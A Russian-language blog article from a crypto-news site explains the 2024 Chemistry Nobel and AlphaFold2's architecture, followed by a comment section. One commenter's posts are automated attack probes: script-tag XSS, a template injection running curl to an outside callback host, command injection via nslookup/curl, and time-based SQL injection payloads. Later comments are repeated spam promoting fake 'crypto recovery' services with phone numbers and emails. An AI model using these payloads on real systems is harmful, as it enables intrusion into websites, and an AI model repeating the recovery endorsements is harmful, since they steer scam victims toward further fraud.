Русский
EnglishCryptocurrencies:
9512 /
Markets: 114689
Market Cap: $ 3 787 132 962 593 /
24h Vol: $ 200 392 171 953 /
BTC
Dominance: 58.653467328398%
Новости
Нобелевские премии 2024 и искусственный интеллект. Химия: предсказание белковых структур
С вами снова Павел Бузин. Как и обещал в первой части саги о Нобелевской премии, сегодня поговорим о химии. Надеюсь, интерес публики к новости еще не угас, потому что, признаюсь, даже у меня, технически подкованного человека, ушло немало времени на то, чтобы разобраться в химической составляющей изысканий лауреатов этого года.
8 октября 2024 года теперь можно считать одной из важнейших дат в истории искусственного интеллекта, потому что Нобелевскую премию по химии присудили по сути за применение методов AI. Американец Дэвид Бейкер (David Baker) и сотрудники «дочки» Google в Британии Демис Хассабис (Demis Hassabis) и Джон Джампер (John M. Jumper) взяли приз за предсказание структуры белков. Стоп. А с каких это пор Google стал химическим концерном? В этой статье посмотрим на бэкграунд исследователей и методы, открытые ими чуть внимательнее.
Демис Хассабис и Джон Джампер являются, соответственно, CEO и директором в DeepMind — дочерней компании Google, специализирующейся на разработке и применении методов искусственного интеллекта. Стоит упомянуть, что Нобелевские премии и до этого неоднократно присуждались за открытия, сделанные сотрудниками исследовательских подразделений корпораций. Можно вспомнить Bell Labs (сейчас подразделение Nokia Corporation), исследователи которой создали первый транзистор и открыли реликтовое излучение. Или исследователей из IBM, что получили премии за создание туннельного микроскопа и открытие высокотемпературной сверхпроводимости.
Неоднократно вручались и премии за разработку новых инструментов и методов, позволяющих расширить возможности и получить кардинально новые научные результаты. Яркий пример из физики — это камера Вильсона (1927 год), в химии — методы синтеза молекул с заданными свойствами «клик-химия» (2022 год) и многое, многое другое.
Вычислительные методы, которые сейчас объединяют под названием Computer Science, также неоднократно отмечались высокой наградой. Большая их часть — Нобелевские премии по экономике (в силу отсутствия премии по математике), здесь в качестве примера можно упомянуть Леонида Канторовича (1975 год), отца линейного программирования, который получил премию с формулировкой «за вклад в теорию оптимального распределения ресурсов».
Что же такого в этот раз сделали в области компьютерных наук, что это признали революционным в химии?
Геометрическая химия
Пресс-релиз Нобелевского комитета гласит: «The Royal Swedish Academy of Sciences has decided to award the Nobel Prize in Chemistry 2024 … “for protein structure prediction”».
Уже интересно. Исследование белков — одна из важнейших областей современной науки, охватывающей химию, биологию, медицину, фармацевтику, компьютерные науки. В этой области исследователи сталкиваются с тремя большими проблемами:
сложность и дороговизна проведения экспериментов;
молекулы белков состоят из длинных цепочек, составленных из аминокислот, и количество их сочетаний – очень велико;
как и любые длинные молекулы, молекулы белков имеют большое количество внутренних степеней свободы и, закручиваясь, могут принимать различную форму, в том числе обладающую внутренней упорядоченной или неупорядоченной структурой.
При этом разные части молекул могут геометрически входить в механическое зацепление, которое не сопровождается возникновением новых химических связей. А это уже начинает сильно влиять на свойства белков при взаимодействии с другими агентами — химическими реактивами, другими белками, лекарствами, вирусами, различными элементами клеток.
В химии нередки случаи, когда формула вещества не меняется, но изменение положения молекул влияет на то, как это вещество взаимодействует с другими. Всем известно, что вода и лед — это одни и те же молекулы H2O, однако, лед занимает больший объем и менее охотно вступает в реакции. Понимать условия, при которых белки спонтанно меняют геометрию своих молекул, или знать, какие факторы инициируют это — крайне важно. Это влияет на такие вещи как:
сроки хранения лекарств и реактивов;
образование неактивных или даже токсичных изомеров белков;
спонтанное изменение или восстановление геометрии молекул со временем.
Процесс превращения цепочки аминокислот, составляющих молекулу белка в упорядоченную структуру, называют фолдингом белка (protein folding).
Иллюстрация многообразия аминокислот. Источник: https://en.wikipedia.org/wiki/Amino_acid https://en.wikipedia.org/wiki/File:ProteinogenicAminoAcids.svg
Типичная молекула белка — цепочка из сотен и тысяч атомов углерода, имеющих связи с атомами азота, кислорода, серы, циклические и ациклические соединения, гидроксильные группы и многое другое. То, в какое пространственное оригами в итоге «упакуется» цепочка аминокислот раньше невозможно было знать заранее. Только представьте: белок с цепочкой из 100 аминокислот может упаковываться в 1047 разных конфигураций. Самих аминокислот — около трех десятков, но дело осложняется еще и тем, что в синтезе белка изначально могут участвовать аминокислоты-энантиомеры: это молекулы, которые являются зеркальными копиями друг друга в пространстве (как правая и левая рука). Из-за своих геометрических свойств энантиомеры по-разному взаимодействуют с другими молекулами. Таким образом общее количество вариантов аминокислот, их сочетаний, энантиомеров и способов упаковать все это добро в молекулу белка превышает число частиц во Вселенной. К счастью для исследователей, природа не настолько разнообразна, и если понаблюдать за фолдингом и анфолдингом аминокислотных цепочек «в пробирке» выяснится, что выстраиваются они все-таки в ограниченное число конфигураций. Количество вариантов ограничено из-за того, что разная пространственная конфигурация молекулы обладает разной внутренней энергией и молекулы стремятся принять конфигурации с наименьшей внутренней энергией как наиболее стабильные.
Иллюстрация зеркальных свойств молекул. (S)-(+)-молочная кислота и (R)-(–)-молочная кислота как несовмещаемые зеркальные отражения. Источник: https://en.wikipedia.org/wiki/File:Milchs%C3%A4ure_Enantiomerenpaar.svg
Тема энантиомеров важна еще и потому, что в процессе биологической эволюции на земле все белки приняли только одну зеркальную ориентацию, называемую левосторонней (left-handed), что проявляется в направлении вращения поляризованного света при прохождении через раствор, содержащий энантиомер. Разделение энантиомеров невозможно физическими или химическими способами без разрушения молекул. При этом зеркальные копии могут быть неактивными или даже ядовитыми, а для получения чистого энантиомера приходится в процессе синтеза использовать «затравку» в виде природной молекулы, которая задает требуемую конфигурацию.
Прежде чем с головой нырнуть в мир химии белков, давайте освежим в памяти несколько терминов, которые нам потребуется позже.
В биохимии последовательности, состоящие из аминокислот и сахаров, которые не меняются в процессе реакций синтеза белков, именуют остатками (residue). Понятие остатка шире, чем группы атомов (такие как гидроксильные, карбоксильные или аминогруппы), поскольку может иметь более сложную структуру и состоять из нескольких групп.
Также нам потребуется понимание пептидной связи — это когда аминогруппы (—NH2) одной аминокислоты взаимодействуют с карбоксильной группой (—СООН) другой аминокислоты, устанавливая С=N связь с образованием свободной молекулы воды.
И нам нужно знать про три основных способа проведения эксперимента в биологии и химии: in vivo (в живом организме), in vitro (в пробирке) и in silico (на компьютере). Моделирование химических и биологических процессов жизненно необходимо в силу сложности и дороговизны натурных экспериментов.
Итак, поехали: in silico.
Краткая история белков «в цифре»
Одна из самых крупных баз данных о белках — Protein Data Bank (PDP), содержит информацию о 225 тысячах белков и других структур. В то время как общее количество известных белков, которые подробно не описаны, составляет 200 миллионов.
Основные методы, которые ранее использовались для предсказания форм молекул, были основаны на решении уравнений, описывающих распределении электронов в атомах (как развитие подходов решения уравнения Шредингера) и на геометрических свойствах атомов, которые можно получить как экспериментальные данные (рентгенография, туннельные микроскопы, статистические и другие методы).
Решение уравнения Шредингера для одиночного атома позволило получить информацию об орбиталях — одноэлектронных волновых функциях, позволяющих получить представление о распределении электронов в атоме. Решение задачи для двухатомной системы даже для текущего уровня развития суперкомпьютеров все еще невозможно.
Применение геометрического подхода позволяет понять, как осуществляются химические реакции для относительно простых молекул. В силу квантово-механических эффектов и температурных колебаний атомов в молекуле, молекула непрерывно дрожит и меняет свою форму, принимая некоторые устойчивые состояния. На рисунке ниже показаны возможные изменения, которые могут происходить: изменения углов между связями с соседними атомами (αi, βi, γi и другие), вращение вокруг межатомной связи (ωi, φi-1, ψi-1), изменение расстояния между соседними атомами (межатомная связь выступает в роли пружины/осциллятора). Отмечу, что атомы в процессе движения могут принимать не произвольные положения, а те, которые точно определяются энергетическими уровнями каждой молекулы.
Линейная молекула и ее степени свободы. Источник: https://arxiv.org/pdf/2202.01079
Небольшое лирическое отступление — а почему в природе нет белковых циклических или ветвящихся структур? Как обыватели мы не знаем (вы если знаете, расскажите в комментариях). Но по логике вещей в природе белковые структуры образуются в процессе репликации. Подобные процессы спонтанной репликации для ветвящихся структур невозможны, более того — они возможны только для ограниченной доли линейных и циклических структур. А вот в лабораторных условиях ветвящиеся структуры можно синтезировать и изучать, в чем нам и помогает компьютерное моделирование.
Для белков, состоящих большого числа аминокислот, потребовалось расширение абстрактного описания в виде химических формул, к которому мы привыкли на уроках химии. Биологи и химики оперируют четырехуровневым представлением:
Первичная структура белка (Primary Protein Structure) — одномерная последовательность аминокислот.
Вторичная структура белка (Secondary Protein Structure) — складывание в повторяющиеся структуры, линейные или спиральные.
Третичная структура белка (Tertiary Protein Structure) — трехмерное свертывание посредством взаимодействия боковых атомов и групп атомов (торчащих в сторону от основной цепочки, которая состоит, в основном, из атомов углерода).
Четвертичная структура белка (Quaternary Protein Structure) — структура белка формируется несколькими цепочками взаимодействующих аминокислот. Для визуализации четвертичной структуры белка применяют также представление в виде линий, в виде лент, в виде палочек-связей между атомами и в виде поверхности электронного облака, окружающего молекулу белка.
На рисунке ниже проиллюстрированы структуры белка human foetal deoxyhaemoglobin protein (PDB: 1FDH)
Различные представления структуры белка. Источник: https://arxiv.org/pdf/2409.17726
Думаю, из сказанного выше вы убедились, что изучение фолдинга белков — невероятно сложная сфера. Давайте совершим короткий экскурс в историю того, как задачи о предсказаниях структуры белков решались до 2024 года.
1994 год — Critical Assessment of protein Structure Prediction
Сегодня мы уже привыкли к хакатонам. А как насчет чемпионата по фолдингу белковых структур? В 1994 году состоялся первый чемпионат CASP — Critical Assessment of protein Structure Prediction (критическая оценка предсказания белковых структур), с тех пор он проходит каждые два года. Команды исследователей получают аминокислотную последовательность и соревнуются в предсказании вторичных и третичных структур для ранее не исследованных белков. Ни организаторы, ни эксперты, ни участники не знают структуры тестируемых белков до окончания стадии предсказаний.
2005—2008 год — Rosetta@home и Foldit
Еще в 2003 году проект «Геном человека» секвенировал 85% человеческого генома. Исследователи выяснили аминокислотные последовательности почти всех белков в человеческом организме и решили: раз мы изучили все, что есть, давайте создадим в виртуальной пробирке то, чего нет. Например, новые более активные белки или способы изменения структур, виновных в серьезных заболеваниях.
Так появился проект добровольных вычислений Rosetta@home, где коллективные вычислительные ресурсы использовались исследователями для предсказания третичной структуры белков и прогнозирования взаимодействия белковых структур. Но была одна проблема: ученых, способных в свободное время придумывать новые молекулы не так уж много. И чтобы ускорить победу над раком и Альцгеймером энтузиасты решили популяризировать фолдинг белков и превратить суровую забаву для ученых в кубик Рубика, с которым может поупражняться каждый. Главным энтузиастом этой инициативы был как раз будущий лауреат этого года Девид Бейкер.
Именно он вместе с коллегами разработал онлайн-головоломку Foldit, где люди даже без специфических знаний в области химии могут «покрутить» аминокислотную последовательность для решения конкретной задачи. В конце концов, 38 000 голов (количество пользователей Rosetta@home на 2011 год) — хорошо, а 240 000 (количество игроков в Foldit в год релиза) — лучше. Цель головоломки состоит в поиске трехмерной структуры определенного белка с самым низким уровнем свободной энергии. Каждое задание публикуется на сайте на определенный срок, в течение которого пользователи соревнуются между собой. С помощью Foldit удалось совершить несколько научных прорывов: например, расшифровать структуру вируса, вызывающего СПИД у обезьян, и изменить структуру белка, отвечающего за катализ реакции Дильса — Альдера.
2017—2024 — AlphaFold
Пришло время поговорить про самое интересное. Следите за руками:
В 2010 году в Лондоне возникает стартап DeepMind Technologies, который занимается искусственным интеллектом.
В 2014 компанию приобретает Google.
В 2016 году модель AlphaZero, разработанная командой DeepMind, выигрывает партию в го у чемпиона мира Ли Седоля.
В 2017 году AlphaZero, получает высший шахматный рейтинг, победив в серии из 100 партий сильнейшую на тот момент шахматную программу StockFish 8. Компания DeepMind обучает широкое семейство моделей Alpha, которые достигают блестящих успехов в разных областях.
В 2018 году к семейству моделей Alpha добавляется AlphaFold, предназначенная для предсказания структуры белка. Разработкой модели руководят Демис Хассабис и Джон Джампер. Исследовательская команда участвует в 13-ом чемпионате CASP и берет первое место.
В 2020 году AlphaFold2 снова решила главную задачу CASP, да так хорошо, что главный научный журнал мира Nature назвал это «прорывом».
К чести Google она выложила модели AlphaFold и AlphaFold2 в открытый доступ для использования другими исследователями, а также создала базу структур белков AlphaFold Protein Structure Database и наполнила ее информацией о 200 миллионах белковых структур, рассчитанных DeepMind. Для желающих – ссылки на первоисточники:
Репозиторий AlphaFold: https://github.com/google-deepmind/alphafold
AlphaFold Protein Structure Database: https://alphafold.ebi.ac.uk/
Дополнительное описание модели: https://pmc.ncbi.nlm.nih.gov/articles/instance/8387230/bin/41586_2021_3819_MOESM1_ESM.pdf
А теперь о том, что же там внутри.
Внутри AlphaFold
Если верить описанию, AlphaFold «напрямую предсказывает 3D-координаты всех тяжелых атомов для данного белка, используя в качестве входных данных первичную аминокислотную последовательность и выровненные последовательности гомологов».
Рекомендую почитать первоисточники, не пожалеетеАрхитектуру AlphaFold2 DeemMind открыли в статье в журнале Nature, опубликованной 15 июля в 2021 года (https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8371605/). Самое интересное – в дополнении в этой статье, в Supplementary information. Специалистам в области машинного обучения можно сразу перейти по ссылке для его изучения https://pmc.ncbi.nlm.nih.gov/articles/instance/8387230/bin/41586_2021_3819_MOESM1_ESM.pdf.
Поделюсь своим мнением относительно того, что в AlphaFold2 было важным, интересным, реально очень сложным и прорывным.
Первое, что привлекает внимание — обучающий датасет. Команда DeepMind использовала данные о 250+ тысячах белков и их свойствах (таких как размеры, конфигурации, углы между связями, расстояния между атомами и другие) из Protein Data Bank. На следующем шаге была создана отдельная модель для генерации синтетических примеров на основе реальных данных (аугментация данных) для создания обучающего датасета AlphaFold2. При этом 25% были оригинальными примерами белков из Protein Data Bank, а 75% — синтетическими. При проверке правильности синтетических примеров использовали как метрику расстояние Кульбака-Лейбнера для пар реальный пример-синтетический пример.
Модель AlphaFold2 работает с последовательностями аминокислот, составляющих белки называемые multiple sequence alignments (MSA). На вход модели AlphaFold2 подаются эмбеддинги MSA, составляющих белки, и фичи известных пар последовательностей известных белков (из обучающего датасета). Сеть состоит из двух основных модулей: модуля Evoformer и модуля структуры.
Высокоуровневая схема архитектуры нейросети AlphaFold2
Evoformer оперирует эмбеддингами MSA, а также данными о геометрии реальных молекул (углы, расстояния, конфигурация). Модуль включает 48 последовательных блоков и использует механизм attention, в том числе для вычисления углов между атомами. Цитируя DeepMind: «ключевыми инновациями в блоке Evoformer являются новые механизмы обмена информацией внутри MSA и парные репрезентации, позволяющие напрямую рассуждать о пространственных и эволюционных отношениях». В результате Evoformer реализует геометрический подход при вычислении формы молекул белков.
В качестве результата Evoformer выдает:
массив Nseq × Nres, который представляет обработанный MSA (Nseq — количество последовательностей аминокислот, Nres — количество остатков — тех самых групп атомов, о которых мы говорили в разделе «Геометрическая химия»);
массив Nres × Nres, который представляет пары остатков.
Выходные данные Evoformer подаются на вход модуля структуры для восстановления.
Один из 48 блоков модуля Evoformer нейросети AlphaFold2
Модуль структуры используется для восстановления предсказываемой формы молекулы посредством представления (representation) вращения и перемещения для каждого остатка белка. Модуль итеративно моделирует эволюцию начального состояния (положение атомов и связей), многократно подавая результат работы модуля обратно на вход. Такое итеративное уточнение (авторы называют его «рециркуляцией») заметно повышает точность при незначительном увеличении времени обучения. Сохранение последовательности атомов N-Cα-C в молекуле белка при восстановлении формы молекулы обеспечивает модуль Invariant point attention (IPA).
Модуль Invariant Point Attention Module
В процессе восстановления 3D-структуры должны выполняться многие ограничения, включая неравенство треугольника для расстояний. Для этого применяется сочетание операций последовательного обновления треугольников и работа модуля triangle self-attention. Такой процесс более точный и производительный в сравнении только с механизмом attention или обновления треугольников по отдельности.
Модуль Triangular self-attention
При восстановлении геометрии предсказываемого белка в AlphaFold2 используются кватернионы. Это такое расширение комплексных чисел, применяемое в механике для описания движения твердого тела. Кватернионы представляют число в виде q=a+bi+cj+dk, где a, b, c, d — вещественные числа, а i, j, k — мнимые единицы со свойствами i2 = j2 = k2 = ijk = −1.
Кватернионы — это вышка вышки в высшей математике. Они позволяют удобно представлять вращение объектов в пространстве, упрощают расчеты и минимизируют возможные ошибки в вычислениях. Применение кватернионов является подтверждением высшего уровня проработки задачи в части геометрических свойств молекул.
Также в модуле структуры реализован механизм, учитывающий расположение соседних групп атомов и возникающих между ними пептидных связей.
В результате на выходе AlphaFold2 мы имеем данные о положении атомов, составляющих молекулу белка, форма которой смоделирована сетью.
При этом AlphaFold2 достигает очень высокой точности и оказалась намного точнее, чем конкурирующие методы. Медианная точность AlphaFold2 составляет 0,96 Å (ангстрем, 10-10 метра), что сравнимо с размерами атома углерода 1,4 Å. При этом AlphaFold2 можно применять для анализа белков с длинными цепочками и доменной упаковкой без существенной потери точности.
И в качестве вишенки на торт — модель выложена в открытом доступе в репозитории с описанием как развернуть образ в Google Cloud. AlphaFold2 очень экономно относится к вычислительным ресурсам — для работы ей достаточно всего 12 vCPUs, 85 GB RAM и одной GPU A100. По утверждению DeepMind, AlphaFold2 использовали уже более 2 миллионов раз.
Вместо заключения
Часто приходится слышать, что Нобелевскую премию присудили несправедливо: то биологам за химию дадут, то информатикам за физику. Действительно, Дэвид Бейкер — биоинформатик и биохимик, почти всю жизнь посвятил дизайну белков и предсказанию их третичной структуры. Заслуги Демиса Хассабиса Джона Джампера больше лежат в поле науки о данных, вычислительной биологии и химии, и все они получили Нобелевскую премию за создание инструментов на основе нейронных сетей и их применение. Стоит ли по этому поводу возмущаться общественности? Я бы сказал, что стоит радоваться. Огромное количество кросс-дисциплинарных исследований и тот факт, что нам становится сложно провести четкую черту между физикой, химией, биологией, медициной и информатикой говорит скорее о том, насколько глубоко мы проникли в суть окружающего нас мира, чем об ангажированности Нобелевского комитета.
Главный вывод, который можно сделать из премий этого года: Нобелевский комитет и научный мир в целом зафиксировал возникновение новой реальности, в которой нейросети такой же инструмент в руках исследователя как микроскоп или ускоритель частиц. Раньше у науки были экспериментальные факты и теории, позволяющие интерпретировать действительность и имеющие предсказательную силу. Теперь артефакты науки пополнились моделями машинного обучения, что примечательно, модели — сущности, имеющие предсказательную силу, но при этом неинтерпетируемые.
Источники для любопытныхhttps://deepmind.google/discover/blog/demis-hassabis-john-jumper-awarded-nobel-prize-in-chemistry/
https://www.nobelprize.org/prizes/chemistry/2024/press-release/
https://www.nobelprize.org/uploads/2024/10/advanced-chemistryprize2024.pdf
https://github.com/google-deepmind/alphafold
https://deepmind.google/discover/blog/alphazero-shedding-new-light-on-chess-shogi-and-go/
https://alphafold.ebi.ac.uk/
https://en.wikipedia.org/wiki/Proteinogenic_amino_acid
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8371605/
https://www.wired.com/story/deepmind-beats-pros-starcraft-another-triumph-bots/
Другие статьи в блоге:
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
